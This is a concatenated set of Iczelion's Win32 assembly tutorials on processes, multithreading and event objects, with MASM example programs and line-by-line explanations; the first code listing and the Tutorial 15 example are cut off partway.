hFileWrite HANDLE ? ; Handle to the output file
hMenu HANDLE ?
pMemory DWORD ? ; pointer to the data in the source file
SizeWritten DWORD ? ; number of bytes actually written by WriteFile

.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke GetCommandLine
mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
invoke ExitProcess,eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInst
pop wc.hInstance
mov wc.hbrBackground,COLOR_WINDOW+1
mov wc.lpszMenuName,OFFSET MenuName
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx,WS_EX_CLIENTEDGE,ADDR ClassName,\
ADDR AppName, WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\
CW_USEDEFAULT,300,200,NULL,NULL,\
hInst,NULL
mov hwnd,eax
invoke ShowWindow, hwnd,SW_SHOWNORMAL
invoke UpdateWindow, hwnd
.WHILE TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.ENDW
mov eax,msg.wParam
ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
.IF uMsg==WM_CREATE
invoke GetMenu,hWnd ;Obtain the menu handle
mov hMenu,eax
mov ofn.lStructSize,SIZEOF ofn
push hWnd
pop ofn.hWndOwner
push hInstance
pop ofn.hInstance
mov ofn.lpstrFilter, OFFSET FilterString
mov ofn.lpstrFile, OFFSET buffer
mov ofn.nMaxFile,MAXSIZE
.ELSEIF uMsg==WM_DESTROY
.if hMapFile!=0
call CloseMapFile
.endif
invoke PostQuitMessage,NULL
.ELSEIF uMsg==WM_COMMAND
mov eax,wParam
.if lParam==0
.if ax==IDM_OPEN
mov ofn.Flags, OFN_FILEMUSTEXIST or \
OFN_PATHMUSTEXIST or OFN_LONGNAMES or\
OFN_EXPLORER or OFN_HIDEREADONLY
invoke GetOpenFileName, ADDR ofn
.if eax==TRUE
invoke CreateFile,ADDR buffer,\
GENERIC_READ ,\
0,\
NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,\
NULL
mov hFileRead,eax
invoke CreateFileMapping,hFileRead,NULL,PAGE_READONLY,0,0,NULL
mov hMapFile,eax
mov eax,OFFSET buffer
movzx edx,ofn.nFileOffset
add eax,edx
invoke SetWindowText,hWnd,eax
invoke EnableMenuItem,hMenu,IDM_OPEN,MF_GRAYED
invoke EnableMenuItem,hMenu,IDM_SAVE,MF_ENABLED
.endif
.elseif ax==IDM_SAVE
mov ofn.Flags,OFN_LONGNAMES or\
OFN_EXPLORER or OFN_HIDEREADONLY
invoke GetSaveFileName, ADDR ofn
.if eax==TRUE
invoke CreateFile,ADDR buffer,\
GENERIC_READ or GENERIC_WRITE ,\
F


Iczelion's win32 asm tutorial

Tutorial 14: Process

We will learn what a process is and how to create and terminate it.

Download the example here.

Preliminary:

What is a process? I quote this definition from Win32 API reference:
"A process is an executing application that consists of a private virtual address space, code, data, and other operating system resources, such as files, pipes, and synchronization objects that are visible to the process."
As you can see from the definition above, a process "owns" several objects: the address space, the executing module(s), and anything that the executing modules create or open. At the minimum, a process must consist of an executing module, a private address space and a thread. Every process must have at least one thread. What's a thread? A thread is actually an execution queue. When Windows first creates a process, it creates only one thread per process. This thread usually starts execution from the first instruction in the module. If the process later needs more threads, it can explicitly create them.
When Windows receives a command to create a process, it creates the private memory address space for the process and then it maps the executable file into the space. After that it creates the primary thread for the process.
Under Win32, you can also create processes from your own programs by calling CreateProcess function. CreateProcess has the following syntax:

CreateProcess proto lpApplicationName:DWORD,\
lpCommandLine:DWORD,\
lpProcessAttributes:DWORD,\
lpThreadAttributes:DWORD,\
bInheritHandles:DWORD,\
dwCreationFlags:DWORD,\
lpEnvironment:DWORD,\
lpCurrentDirectory:DWORD,\
lpStartupInfo:DWORD,\
lpProcessInformation:DWORD

Don't be alarmed by the number of parameters. We can ignore most of them.

lpApplicationName --> The name of the executable file with or without pathname that you want to execute. If this parameter is null, you must provide the name of the executable file in the lpCommandLine parameter.
lpCommandLine --> The command line arguments to the program you want to execute. Note that if the lpApplicationName is NULL, this parameter must contain the name of the executable file too. Like this: "notepad.exe readme.txt"
lpProcessAttributes and lpthreadAttributes --> Specify the security attributes for the process and the primary thread. If they're NULLs, the default security attributes are used.
bInheritHandles --> A flag that specify if you want the new process to inherit all opened handles from your process.
dwCreationFlags --> Several flags that determine the behavior of the process you want to created, such as, do you want to process to be created but immediately suspended so that you can examine or modify it before it runs? You can also specify the priority class of the thread(s) in the new process. This priority class is used to determine the scheduling priority of the threads within the process. Normally we use NORMAL_PRIORITY_CLASS flag.
lpEnvironment --> A pointer to the environment block that contains several environment strings for the new process. If this parameter is NULL, the new process inherits the environment block from the parent process.
lpCurrentDirectory --> A pointer to the string that specifies the current drive and directory for the child process. NULL if you want the child process to inherit from the parent process.
lpStartupInfo --> Points to a STARTUPINFO structure that specifies how the main window for the new process should appear. The STARTUPINFO structure contains many members that specifies the appearance of the main window of the child process. If you don't want anything special, you can fill the STARTUPINFO structure with the values from the parent process by calling GetStartupInfo function.
lpProcessInformation --> Points to a PROCESS_INFORMATION structure that receives identification information about the new process. The PROCESS_INFORMATION structure has the following members:

PROCESS_INFORMATION STRUCT
hProcess HANDLE ? ; handle to the child process
hThread HANDLE ? ; handle to the primary thread of the child process
dwProcessId DWORD ? ; ID of the child process
dwThreadId DWORD ? ; ID of the primary thread of the child process
PROCESS_INFORMATION ENDS
Process handle and process ID are two different things. A process ID is a unique identifier for the process in the system. A process handle is a value returned by Windows for use with other process-related API functions. A process handle cannot be used to identify a process since it's not unique.

After the CreateProcess call, a new process is created and the CreateProcess call return immediately. You can check if the new process is still active by calling GetExitCodeProcess function which has the following syntax:

GetExitCodeProcess proto hProcess:DWORD, lpExitCode:DWORD

If this call is successful, lpExitCode contains the termination status of the process in question. If the value in lpExitCode is equal to STILL_ACTIVE, then that process is still running.

You can forcibly terminate a process by calling TerminateProcess function. It has the following syntax:

TerminateProcess proto hProcess:DWORD, uExitCode:DWORD

You can specify the desired exit code for the process, any value you like. TerminateProcess is not a clean way to terminate a process since any dll attached to the process will not be notified that the process was terminated.

Example:

The following example will create a new process when the user selects the "create process" menu item. It will attempt to execute "msgbox.exe". If the user wants to terminate the new process, he can select the "terminate process" menu item. The program will check first if the new process is already destroyed, if it is not, the program will call TerminateProcess function to destroy the new process.

.386
.model flat,stdcall
option casemap:none
WinMain proto :DWORD,:DWORD,:DWORD,:DWORD
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

.const
IDM_CREATE_PROCESS equ 1
IDM_TERMINATE equ 2
IDM_EXIT equ 3

.data
ClassName db "Win32ASMProcessClass",0
AppName db "Win32 ASM Process Example",0
MenuName db "FirstMenu",0
processInfo PROCESS_INFORMATION <>
programname db "msgbox.exe",0

.data?
hInstance HINSTANCE ?
CommandLine LPSTR ?
hMenu HANDLE ?
ExitCode DWORD ? ; contains the process exitcode status from GetExitCodeProcess call.

.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke GetCommandLine
mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
invoke ExitProcess,eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInst
pop wc.hInstance
mov wc.hbrBackground,COLOR_WINDOW+1
mov wc.lpszMenuName,OFFSET MenuName
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx,WS_EX_CLIENTEDGE,ADDR ClassName,ADDR AppName,\
WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\
CW_USEDEFAULT,300,200,NULL,NULL,\
hInst,NULL
mov hwnd,eax
invoke ShowWindow, hwnd,SW_SHOWNORMAL
invoke UpdateWindow, hwnd
invoke GetMenu,hwnd
mov hMenu,eax
.WHILE TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.ENDW
mov eax,msg.wParam
ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
LOCAL startInfo:STARTUPINFO
.IF uMsg==WM_DESTROY
invoke PostQuitMessage,NULL
.ELSEIF uMsg==WM_INITMENUPOPUP
invoke GetExitCodeProcess,processInfo.hProcess,ADDR ExitCode
.if eax==TRUE
.if ExitCode==STILL_ACTIVE
invoke EnableMenuItem,hMenu,IDM_CREATE_PROCESS,MF_GRAYED
invoke EnableMenuItem,hMenu,IDM_TERMINATE,MF_ENABLED
.else
invoke EnableMenuItem,hMenu,IDM_CREATE_PROCESS,MF_ENABLED
invoke EnableMenuItem,hMenu,IDM_TERMINATE,MF_GRAYED
.endif
.else
invoke EnableMenuItem,hMenu,IDM_CREATE_PROCESS,MF_ENABLED
invoke EnableMenuItem,hMenu,IDM_TERMINATE,MF_GRAYED
.endif
.ELSEIF uMsg==WM_COMMAND
mov eax,wParam
.if lParam==0
.if ax==IDM_CREATE_PROCESS
.if processInfo.hProcess!=0
invoke CloseHandle,processInfo.hProcess
mov processInfo.hProcess,0
.endif
invoke GetStartupInfo,ADDR startInfo
invoke CreateProcess,ADDR programname,NULL,NULL,NULL,FALSE,\
NORMAL_PRIORITY_CLASS,\
NULL,NULL,ADDR startInfo,ADDR processInfo
invoke CloseHandle,processInfo.hThread
.elseif ax==IDM_TERMINATE
invoke GetExitCodeProcess,processInfo.hProcess,ADDR ExitCode
.if ExitCode==STILL_ACTIVE
invoke TerminateProcess,processInfo.hProcess,0
.endif
invoke CloseHandle,processInfo.hProcess
mov processInfo.hProcess,0
.else
invoke DestroyWindow,hWnd
.endif
.endif
.ELSE
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.ENDIF
xor eax,eax
ret
WndProc endp
end start

Analysis:

The program creates the main window and retrieves the menu handle for future use. It then waits for the user to select a command from the menu. When the user selects "Process" menu item in the main menu, we process WM_INITMENUPOPUP message to modify the menu items inside the popup menu before it's displayed.

.ELSEIF uMsg==WM_INITMENUPOPUP
invoke GetExitCodeProcess,processInfo.hProcess,ADDR ExitCode
.if eax==TRUE
.if ExitCode==STILL_ACTIVE
invoke EnableMenuItem,hMenu,IDM_CREATE_PROCESS,MF_GRAYED
invoke EnableMenuItem,hMenu,IDM_TERMINATE,MF_ENABLED
.else
invoke EnableMenuItem,hMenu,IDM_CREATE_PROCESS,MF_ENABLED
invoke EnableMenuItem,hMenu,IDM_TERMINATE,MF_GRAYED
.endif
.else
invoke EnableMenuItem,hMenu,IDM_CREATE_PROCESS,MF_ENABLED
invoke EnableMenuItem,hMenu,IDM_TERMINATE,MF_GRAYED
.endif

Why do we want to process this message? Because we want to prepare the menu items in the popup menu before the user can see them. In our example, if the new process is not started yet, we want to enable the "start process" and gray out the "terminate process" menu items. We do the reverse if the new process is already active.
We first check if the new process is still running by calling GetExitCodeProcess function with the process handle that was filled in by CreateProcess function. If GetExitCodeProcess returns FALSE, it means the process is not started yet so we gray out the "terminate process" menu item. If GetExitCodeProcess returns TRUE, we know that a new process has been started, but we have to check further if it is still running. So we compare the value in ExitCode to the value STILL_ACTIVE, if they're equal, the process is still running: we must gray out the "start process" menu item since we don't want to start several concurrent processes.

.if ax==IDM_CREATE_PROCESS
.if processInfo.hProcess!=0
invoke CloseHandle,processInfo.hProcess
mov processInfo.hProcess,0
.endif
invoke GetStartupInfo,ADDR startInfo
invoke CreateProcess,ADDR programname,NULL,NULL,NULL,FALSE,\
NORMAL_PRIORITY_CLASS,\
NULL,NULL,ADDR startInfo,ADDR processInfo
invoke CloseHandle,processInfo.hThread

When the user selects "start process" menu item, we first check if hProcess member of PROCESS_INFORMATION structure is already closed. If this is the first time, the value of hProcess will always be zero since we define PROCESS_INFORMATION structure in .data section. If the value of hProcess member is not 0, it means the child process has exited but we haven't closed its process handle yet. So this is the time to do it.
We call GetStartupInfo function to fill in the startupinfo structure that we will pass to CreateProcess function. After that we call CreateProcess function to start the new process. Note that I haven't checked the return value of CreateProcess because it will make the example more complex. In real life, you should check the return value of CreateProcess. Immediately after CreateProcess, we close the primary thread handle returned in processInfo structure. Closing the handle doesn't mean we terminate the thread, only that we don't want to use the handle to refer to the thread from our program. If we don't close it, it will cause a resource leak.

.elseif ax==IDM_TERMINATE
invoke GetExitCodeProcess,processInfo.hProcess,ADDR ExitCode
.if ExitCode==STILL_ACTIVE
invoke TerminateProcess,processInfo.hProcess,0
.endif
invoke CloseHandle,processInfo.hProcess
mov processInfo.hProcess,0

When the user selects "terminate process" menu item, we check if the new process is still active by calling GetExitCodeProcess function. If it's still active, we call TerminateProcess function to kill the process. Also we close the child process handle since we have no need for it anymore.

This article come from Iczelion's asm page, Welcom to http://asm.yeah.net


Iczelion's win32 asm tutorial

Tutorial 15: Multithreading Programming

We will learn how to create a multithreading program in this tutorial. We also study the communication methods between the threads.

Download the example here.

Theory:

In previous tutorial, you learn the a process consists of at least one thread: the primary thread. A thread is a chain of execution. You can also create additional threads in your program. You can view multithreading as multitasking within one program. In term of implementation, a thread is a function that runs concurrently with the main program. You can run several instances of the same function or you can run several functions simultaneously depending on your requirement. Multithreading is specific to Win32, no Win16 counterpart exists.
Threads run in the same process so they can access any resources in the process such as global variables, handles etc. However, each thread has its own stack so local variables in each thread are private. Each thread also owns its private register set so when Windows switches to other threads, the thread can "remember" its last status and can "resume" the task when it gains control again. This is handled internally by Windows.
We can divide threads into two caterories:
  1. User interface thread: This type of thread creates its own window so it receives windows messages. It can respond to the user via its own window hence the name. This type of thread is subject to Win16 Mutex rule which allows only one user interface thread in 16-bit user and gdi kernel. While a user interface thread is executing code in 16-bit user and gdi kernel, other UI threads cannot use the service of the 16-bit user and gdi kernel. Note that this Win16 Mutex is specific to Windows 95 since underneath, Windows 95 API functions thunk down to 16-bit code. Windows NT has no Win16 Mutex so the user interface threads under NT work more smoothly than under Windows 95.
  2. Worker thread: This type of thread does not create a window so it cannot receive any windows message. It exists primarily to do the assigned job in the background hence the name worker thread.
I advise the following strategy when using multithreading capability of Win32: Let the primary thread do user interface stuff and the other threads do the hard work in the background. In this way, the primary thread is like a Governor, other threads are like the Governor's staff. The Governor delegates jobs to his staff while he maintains contact with the public. The Governor staff obediently performs the work and reports back to the Governor. If the Governor were to perform every task himself, he would not be able to give much attention to the public or the press. That's akin to a window which is busy doing a lengthy job in its primary thread: it doesn't respond to the user until the job is completed. Such a program can benefit from creating an additonal thread which is responsible for the lengthy job, allowing the primary thread to respond to the user's commands.
We can create a thread by calling CreateThread function which has the following syntax:

CreateThread proto lpThreadAttributes:DWORD,\
dwStackSize:DWORD,\
lpStartAddress:DWORD,\
lpParameter:DWORD,\
dwCreationFlags:DWORD,\
lpThreadId:DWORD

CreateThread function looks a lot like CreateProcess.
lpThreadAttributes --> You can use NULL if you want the thread to have default security descriptor.
dwStackSize --> specify the stack size of the thread. If you want the thread to have the same stack size as the primary thread, use NULL as this parameter.
lpStartAddress--> Address of the thread function.It's the function that will perform the work of the thread. This function MUST receive one and only one 32-bit parameter and return a 32-bit value.
lpParameter --> The parameter you want to pass to the thread function.
dwCreationFlags --> 0 means the thread runs immediately after it's created. The opposite is CREATE_SUSPENDED flag.
lpThreadId --> CreateThread function will fill the thread ID of the newly created thread at this address.

If CreateThread call is sucessful, it returns the handle of the newly created thread. Otherwise, it returns NULL.
The thread function runs as soon as CreateThread call is success ful unless you specify CREATE_SUSPENDED flag in dwCreationFlags. In that case, the thread is suspended until ResumeThread function is called.
When the thread function returns with ret instruction, Windows calls ExitThread function for the thread function implicitly. You can call ExitThread function with in your thread function yourself but there' s little point in doing so.
You can retrieve the exit code of a thread by calling GetExitCodeThread function.
If you want to terminate a thread from other thread, you can call TerminateThread function. But you should use this function under extreme circumstance since this function terminates the thread immediately without giving the thread any chance to clean up after itself.

Now let's move to the communication methods between threads.
There are three of them:

  • Using global variables
  • Windows messages
  • Event
Threads share the process's resources including global variables so the threads can use global varibles to communicate with each other. However this method must be used with care. Thread synchronization must enter into consideration. For example, if two threads use the same structure of 10 members , what happens when Windows suddenly yanks the control from one of the thread when it was in the middle of updating the structure? The other thread will be left with an inconsistent data in the structure! Don't make any mistake, multithreading programs are harder to debug and maintain. This sort of bug seems to happen at random which is very hard to track down.
You can also use Windows messages to communicate between threads. If the threads are all user interface ones, there's no problem: this method can be used as a two-way communication. All you have to do is defining one or more custom windows messages that are meaningful to the threads. You define a custom message by using WM_USER message as the base value say , you can define it like this:

WM_MYCUSTOMMSG equ WM_USER+100h

Windows will not use any value from WM_USER upward for its own messages so you can use the value WM_USER and above as your own custom message value.
If one of the thread is a user interface thread and the other is a worker one, you cannot use this method as two-way communication since a worker thread doesn't have its own window so it doesn't have a message queue. You can use the following scheme:

User interface Thread ------> global variable(s)----> Worker thread
Worker Thread ------> custom window message(s) ----> User interface Thread

In fact, we will use this method in our example.
The last communication method is an event object. You can view an event object as a kind of flag. If the event object is in "unsignalled" state, the thread is dormant or sleeping, in this state, the thread doesn't receive CPU time slice. When the event object is in "signalled" state,Windows "wakes up" the thread and it starts performing the assigned task.

Example:

You should download the example zip file and run thread1.exe. Click the "Savage Calculation" menu item. This will instruct the program to perform "add eax,eax " for 600,000,000 times. Note that during that time, you cannot do anything with the main window: you cannot move it, you cannot activate its menu, etc. When the calculation is completed, a message box appears. After that the window accepts your command normally.
To avoid this type of inconveniece to the user, we can move the "calculation" routine into a separate worker thread and let the primary thread continue with its user interface task. You can see that even though the main window responds more slowly than usual, it still responds

.386
.model flat,stdcall
option casemap:none
WinMain proto :DWORD,:DWORD,:DWORD,:DWORD
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

.const
IDM_CREATE_THREAD equ 1
IDM_EXIT equ 2
WM_FINISH equ WM_USER+100h

.data
ClassName db "Win32ASMThreadClass",0
AppName db "Win32 ASM MultiThreading Example",0
MenuName db "FirstMenu",0
SuccessString db "The calculation is completed!",0

.data?
hInstance HINSTANCE ?
CommandLine LPSTR ?
hwnd HANDLE ?
ThreadID DWORD ?

.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke GetCommandLine
mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
invoke ExitProcess,eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInst
pop wc.hInstance
mov wc.hbrBackground,COLOR_WINDOW+1
mov wc.lpszMenuName,OFFSET MenuName
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx,WS_EX_CLIENTEDGE,ADDR ClassName,ADDR AppName,\
WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\
CW_USEDEFAULT,300,200,NULL,NULL,\
hInst,NULL
mov hwnd,eax
invoke ShowWindow, hwnd,SW_SHOWNORMAL
invoke UpdateWindow, hwnd
.WHILE TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.ENDW
mov eax,msg.wParam
ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
.IF uMsg==WM_DESTROY
invoke PostQuitMessage,NULL
.ELSEIF uMsg==WM_COMMAND
mov eax,wParam
.if lParam==0
.if ax==IDM_CREATE_THREAD
mov eax,OFFSET ThreadProc
invoke CreateThread,NULL,NULL,eax,\
0,\
ADDR ThreadID
invoke CloseHandle,eax


Iczelion's win32 asm tutorial

Tutorial 16: Event Object

We will learn what an event object is and how to use it in a multithreaded program.

Download the example here.

Theory:

From the previous tutorial, I demonstrated how threads communicate with a custom window message. I left out two other methods: global variable and event object. We will use both of them in this tutorial.
An event object is like a switch: it has only two states: on or off. When an event object is turned on, it's in the "signalled" state. When it is turned off, it's in the "nonsignalled" state. You create an event object and put in a code snippet in the relevant threads to watch for the state of the event object. If the event object is in the nonsignalled state, the threads that wait for it will be asleep.When the threads are in wait state, they consume little CPU time.
You create an event object by calling CreateEvent function which has the following syntax:

CreateEvent proto lpEventAttributes:DWORD,\
bManualReset:DWORD,\
bInitialState:DWORD,\
lpName:DWORD

lpEventAttribute--> If you specify NULL value, the event object is created with default security descriptor.
bManualReset--> If you want Windows to automatically reset the event object to nonsignalled state after WaitForSingleObject call, you must specify FALSE as this parameter. Else you must manually reset the event object with the call to ResetEvent.
bInitialState--> If you want the event object to be created in the signalled state, specify TRUE as this parameter else the event object will be created in the nonsignalled state.
lpName --> Pointer to an ASCIIZ string that is the name of the event object. This name is used when you want to call OpenEvent.

If the call is successful, it returns the handle to the newly created event object else it returns NULL.
You can modify the state of an event object with two API calls: SetEvent and ResetEvent. SetEvent function sets the event object into signalled state. ResetEvent does the reverse.
When the event object is created, you must put the call to WaitForSingleObject in the thread that wants to watch for the state of the event object. WaitForSingleObject has the following syntax:

WaitForSingleObject proto hObject:DWORD, dwTimeout:DWORD

hObject --> A handle to one of the synchronization object. Event object is a type of synchronization object.
dwTimeout --> specify the time in milliseconds that this function will wait for the object to be in signalled state. If the specified time has passed and the event object is still in nonsignalled state, WaitForSingleObject returns the the caller. If you want to wait for the object indefinitely, you must specify the value INFINITE as this parameter.

Example:

The example below displays a window waiting for the user to select a command from the menu. If the user selects "run thread", the thread starts the savage calculation. When it's finished, a message box appears informing the user that the job is done. During the time that the thread is running, the user can select "stop thread" to stop the thread.

.386
.model flat,stdcall
option casemap:none
WinMain proto :DWORD,:DWORD,:DWORD,:DWORD
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

.const
IDM_START_THREAD equ 1
IDM_STOP_THREAD equ 2
IDM_EXIT equ 3
WM_FINISH equ WM_USER+100h

.data
ClassName db "Win32ASMEventClass",0
AppName db "Win32 ASM Event Example",0
MenuName db "FirstMenu",0
SuccessString db "The calculation is completed!",0
StopString db "The thread is stopped",0
EventStop BOOL FALSE

.data?
hInstance HINSTANCE ?
CommandLine LPSTR ?
hwnd HANDLE ?
hMenu HANDLE ?
ThreadID DWORD ?
ExitCode DWORD ?
hEventStart HANDLE ?

.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke GetCommandLine
mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
invoke ExitProcess,eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInst
pop wc.hInstance
mov wc.hbrBackground,COLOR_WINDOW+1
mov wc.lpszMenuName,OFFSET MenuName
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx,WS_EX_CLIENTEDGE,ADDR ClassName,\
ADDR AppName,\
WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\
CW_USEDEFAULT,300,200,NULL,NULL,\
hInst,NULL
mov hwnd,eax
invoke ShowWindow, hwnd,SW_SHOWNORMAL
invoke UpdateWindow, hwnd
invoke GetMenu,hwnd
mov hMenu,eax
.WHILE TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.ENDW
mov eax,msg.wParam
ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
.IF uMsg==WM_CREATE
invoke CreateEvent,NULL,FALSE,FALSE,NULL
mov hEventStart,eax
mov eax,OFFSET ThreadProc
invoke CreateThread,NULL,NULL,eax,\
NULL,0,\
ADDR ThreadID
invoke CloseHandle,eax
.ELSEIF uMsg==WM_DESTROY
invoke PostQuitMessage,NULL
.ELSEIF uMsg==WM_COMMAND
mov eax,wParam
.if lParam==0
.if ax==IDM_START_THREAD
invoke SetEvent,hEventStart
invoke EnableMenuItem,hMenu,IDM_START_THREAD,MF_GRAYED
invoke EnableMenuItem,hMenu,IDM_STOP_THREAD,MF_ENABLED
.elseif ax==IDM_STOP_THREAD
mov EventStop,TRUE
invoke EnableMenuItem,hMenu,IDM_START_THREAD,MF_ENABLED
invoke EnableMenuItem,hMenu,IDM_STOP_THREAD,MF_GRAYED
.else
invoke DestroyWindow,hWnd
.endif
.endif
.ELSEIF uMsg==WM_FINISH
invoke MessageBox,NULL,ADDR SuccessString,ADDR AppName,MB_OK
.ELSE
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.ENDIF
xor eax,eax
ret
WndProc endp

ThreadProc PROC USES ecx Param:DWORD
invoke WaitForSingleObject,hEventStart,INFINITE
mov ecx,600000000
.WHILE ecx!=0
.if EventStop!=TRUE
add eax,eax
dec ecx
.else
invoke MessageBox,hwnd,ADDR StopString,ADDR AppName,MB_OK
mov EventStop,FALSE
jmp ThreadProc
.endif
.ENDW
invoke PostMessage,hwnd,WM_FINISH,NULL,NULL
invoke EnableMenuItem,hMenu,IDM_START_THREAD,MF_ENABLED
invoke EnableMenuItem,hMenu,IDM_STOP_THREAD,MF_GRAYED
jmp ThreadProc
ret
ThreadProc ENDP
end start

Analysis:

In this example, I demonstrate another thread technique.

.IF uMsg==WM_CREATE
invoke CreateEvent,NULL,FALSE,FALSE,NULL
mov hEventStart,eax
mov eax,OFFSET ThreadProc
invoke CreateThread,NULL,NULL,eax,\
NULL,0,\
ADDR ThreadID
invoke CloseHandle,eax

You can see that I create the event object and the thread during the processing of WM_CREATE message. I create the event object in the nonsignalled state with automatic reset. After the event object is created, I create the thread. However the thread doesn't run immediately because it waits for the event object to be in the signalled state as the code below:

ThreadProc PROC USES ecx Param:DWORD
invoke WaitForSingleObject,hEventStart,INFINITE
mov ecx,600000000

The first line of the thread procedure is the call to WaitForSingleObject. It waits infinitely for the signalled state of the event object before it returns. This means that even when the thread is created, we put it into a dormant state.
When the user selects "run thread" command from the menu, we set the event object into signalled state as below:

.if ax==IDM_START_THREAD
invoke SetEvent,hEventStart

The call to SetEvent turns the event object into the signalled state which in turn makes the WaitForSingleObject call in the thread procedure return and the thread starts running. When the user selects "stop thread" command, we set the value of the global variable "EventStop" to TRUE.

.if EventStop==FALSE
add eax,eax
dec ecx
.else
invoke MessageBox,hwnd,ADDR StopString,ADDR AppName,MB_OK
mov EventStop,FALSE
jmp ThreadProc
.endif

This stops the thread and jumps to the WaitForSingleObject call again. Note that we don't have to manually reset the event object into nonsignalled state because we specify the bManualReset parameter of the CreateEvent call as FALSE.

This article come from Iczelion's asm page, Welcom to http://asm.yeah.net


Iczelion's win32 asm tutorial

Tutorial 17: Dynamic Link Libraries

In this tutorial, we will learn about DLLs , what are they and how to create them.
You can download the example here.

Theory:

If you program long enough, you'll find that the programs you wrote usually have some code routines in common. It's such a waste of time to rewrite them everytime you start coding new programs. Back in the old days of DOS, programmers store those commonly used routines in one or more libraries. When they want to use the functions, they just link the library to the object file and the linker extracts the functions from the library and inserts them into the final executable file. This process is called static linking. C runtime libraries are good examples. The drawback of this method is that you have identical functions in every program that calls them. Your disk space is wasted storing several identical copies of the functions. But for DOS programs, this method is quite acceptable since there is usually only one program that's active in memory. So there is no waste of precious memory.
